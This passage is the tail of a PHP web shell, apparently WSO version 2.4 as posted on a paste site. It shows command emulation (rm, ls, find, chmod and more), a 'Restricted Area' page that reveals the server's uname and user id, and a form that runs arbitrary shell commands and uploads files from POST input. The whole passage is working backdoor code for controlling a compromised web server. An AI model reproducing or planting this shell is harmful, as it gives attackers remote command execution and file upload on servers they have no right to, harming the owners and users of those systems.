  921.                         if(is_dir($param)) {
  922.                             deleteDir($param);
  923.                         } elseif(is_file($param)) {
  924.                             @unlink($param);
  925.                         }
  926.                     }
  927.                 }
  928.                 break;
  929.             case "uname":
  930.                 $out = php_uname(preg_replace("/^-/", "", $params[0])) ;
  931.                 break;
  932.             case "find":
  933.                 $out = scandir_rec($params[0], true, 1) ;
  934.                 $out = implode("\n", $out) ;
  935.                 break;
  936.             case "ls":
  937.                 if(isset($params[0]) && $params[0] == '-F') {
  938.                     $_path = $path ;
  939.                     if(isset($params[1])) {
  940.                         $_path = $params[1] ;
  941.                     }
  942.                     $out = glob($_path . '/*' , GLOB_ONLYDIR);
  943.                     if(!empty($out)) {
  944.                         foreach($out as $k=>$v) {
  945.                             $out[$k] = preg_replace("/^" . preg_quote($_path.DS,DS) . "/","",$v) . DS ;
  946.                         }
  947.                     }
  948.                     $out = implode("\n", $out) ;
  949.                 } else {
  950.                     $_path = $path ;
  951.                     if(isset($params[1])) {
  952.                         $_path = $params[1] ;
  953.                     }
  954.                     $out = glob($_path . '/*');
  955.                     if(!empty($out)) {
  956.                         foreach($out as $k=>$v) {
  957.                             $out[$k] = preg_replace("/^" . preg_quote($path,DS) . "/","",$v) ;
  958.                         }
  959.                     }
  960.                     $out = implode("\n", $out) ;
  961.                 }
  962.                 break;
  963.             case "mkdir":
  964.                 @mkdir($params[0]) ;
  965.                 break;
  966.             case "chmod":
  967.                 @chmod($params[1], $params[0]) ;
  968.                 break;  
  969.             case "phpversion":
  970.                 $out = phpversion() ;
  971.                 break;
  972.             case "wso_version":
  973.                 $out = "2.4";
  974.                 break;
  975.             case "safemode":
  976.                 $out = @ini_get('safe_mode') ;
  977.                 break;
  978.             case 'pwd':
  979.                 $out = getcwd() ;
  980.                 break;
  981.             default:
  982.                 break;
  983.             }
  984.         }
  985.     }
  986.  
  987.     return $out ;
  988.  
  989. }
  990.  
  991. print "<style>body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}</style>";
  992. print "<center><h1>Restricted</h1></center>";
  993. print "<center><h1>Area</h1></center>";
  994. print "<hr><hr>";
  995.  
  996. if(isset($_POST['_cwd'])) {
  997.     $currentWD  = str_replace("\\\\","\\",$_POST['_cwd']);
  998. } else {
  999.     $currentWD = '' ;
  1000. }
  1001. if(isset($_POST['_cmd'])) {
  1002.     $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
  1003. } else {
  1004.     $currentCMD = '' ;
  1005. }
  1006.  
  1007. $UName  = system_custom('uname -a');
  1008. $SCWD   = system_custom('pwd');
  1009. $UserID = system_custom('id');
  1010.  
  1011. if( $currentWD == "" ) {
  1012.     $currentWD = $SCWD;
  1013. }
  1014.  
  1015. print "<table>";
  1016. print "<tr><td><b>?:</b></td><td>".(isset($_SERVER['REMOTE_HOST'])?$_SERVER['REMOTE_HOST']:"")." (".(isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:"").")</td></tr>";
  1017. print "<tr><td><b>s is:</b></td><td>".(isset($_SERVER['SERVER_SIGNATURE'])?$_SERVER['SERVER_SIGNATURE']:"")."</td></tr>";
  1018. print "<tr><td><b>ce e?:</b></td><td>$UName</td></tr>";
  1019. print "<tr><td><b>wtf:</b></td><td>$UserID</td></tr>";
  1020. print "</table>";
  1021.  
  1022. print "<hr><hr>";
  1023.  
  1024. if( isset($_POST['_act']) && $_POST['_act'] == "List files!" ) {
  1025.     $currentCMD = "ls -la";
  1026. }
  1027.  
  1028. print "<form method=post enctype=\"multipart/form-data\"><table>";
  1029.  
  1030. print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
  1031. print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";
  1032.  
  1033. print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
  1034. print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
  1035.  
  1036. print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
  1037. print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
  1038.  
  1039. print "</table></form><hr><hr>";
  1040.  
  1041. $currentCMD = str_replace("\\\"","\"",$currentCMD);
  1042. $currentCMD = str_replace("\\\'","\'",$currentCMD);
  1043.  
  1044. if( isset($_POST['_act']) && $_POST['_act'] == "Upload!" ) {
  1045.     if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
  1046.         print "<center><b>Error while uploading file!</b></center>";
  1047.     } else {
  1048.         print "<center><pre>";
  1049.         if(!@move_uploaded_file($_FILES['_upl']['tmp_name'], $currentWD."/".$_FILES['_upl']['name'])) {
  1050.             $out = system_custom("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
  1051.         }
  1052.         echo $out ;
  1053.         print "</pre><b>File uploaded successfully!</b></center>";
  1054.     }    
  1055. } else {
  1056.     print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
  1057.     $currentCMD = "cd ".$currentWD.";".$currentCMD;
  1058.     $out = system_custom($currentCMD);
  1059.     echo $out ;
  1060.     print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
  1061. }
  1062.  
  1063. exit;
  1064. ?>
Add Comment
Please, Sign In to add comment